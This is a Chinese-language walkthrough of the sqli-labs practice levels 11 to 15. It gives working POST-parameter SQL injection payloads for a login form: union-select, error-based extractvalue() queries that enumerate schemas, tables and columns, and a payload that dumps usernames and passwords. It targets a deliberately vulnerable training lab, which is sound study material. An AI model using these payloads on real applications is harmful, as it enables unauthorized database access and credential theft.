less-11

本关还可以使用union联合查询注入和盲注

(1)使用burpsuite抓包,修改参数构造payload。

输入uname=admin' and 1=1--+&passwd=admin&submit=Submit

sqli-labs(11-20)_数据库

 

 

 可以登录

(2)输入uname=admin' and 1=2--+&passwd=admin&submit=Submit

sqli-labs(11-20)_联合查询_02

 

 

 

发现无法登录,说明注入有效,存在报错型注入,接下来又是重复性的工作,上extractvalue()

(3)爆库

uname=admin' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)))--+&passwd=admin&submit=Submit     //通过不断改变limit x,1中x的值就可以爆出数据库中所以的库

 

sqli-labs(11-20)_数据库_03

 

 

 (4)查看当前数据库

uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=admin&submit=Submit

 

sqli-labs(11-20)_数据库_04

 (5)爆表

uname=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+&passwd=admin&submit=Submit

sqli-labs(11-20)_sql_05

(6)爆列

uname=admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+&passwd=admin&submit=Submit

sqli-labs(11-20)_sql_06

 (7)爆数据

uname=admin' and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1)))--+&passwd=admin&submit=Submit

sqli-labs(11-20)_数据库_07

 less-12

1、union联合查询注入

和less-11差不多,改一下闭合方式即可。使用双引号和括号进行闭合

uname=0") union select database(),user()--+&passwd=admin&submit=Submit

sqli-labs(11-20)_数据库_08

 2、报错注入

报错注入和less-11不太一样。查看源码

sqli-labs(11-20)_联合查询_09

(1)可以看到sql查询语句语句:@sql="SELECT username,password FROM users WHERE username=($uname) and password=($password) LIMIT 0,1";构造一个能闭合语句而且会报错的payload:admin" and extractvalue(1,concat(0x7e,(select database()))) and "

(2)最终admin="admin" and extractvalue(1,concat(0x7e,(select database()))) and " "

    传入后就变成了:@sql="SELECT username,password FROM users WHERE username="admin" and extractvalue(1,concat(0x7e,(select database()))) and " " and password=($passwd) LIMIT 0,1";

    前闭合,中间查询,后面报错,应该是没有问题的这样可以回显:uname=admin" and " &passwd=123456&submit=Submit

 sqli-labs(11-20)_查看源码_10

 (3)使用extractvalue进行报错注入。

uname=admin" and extractvalue(1,concat(0x7e,database())) and " &passwd=123456&submit=Submit

sqli-labs(11-20)_数据_11

后面老一套就不再重复了

less-13

登录之后发现没有回显信息,所以union联合注入行不通了,只能通过报错注入和盲注

sqli-labs(11-20)_查看源码_12

 1、报错注入

uname=admin') and extractvalue(1,concat(0x7e,database())) and ('&passwd=123456&submit=Submit

sqli-labs(11-20)_联合查询_13

 后面过程和前面一样

less-14

 和less-13差不多,只是闭合方式变了

uname=admin" and extractvalue(1,concat(0x7e,database())) and "&passwd=123456&submit=Submit

 

sqli-labs(11-20)_联合查询_14

less-15

不论是正确登录,还是错误登录,都没有回显,那就时间延迟吧

错误登录不返回错误信息了,所以只能使用盲注。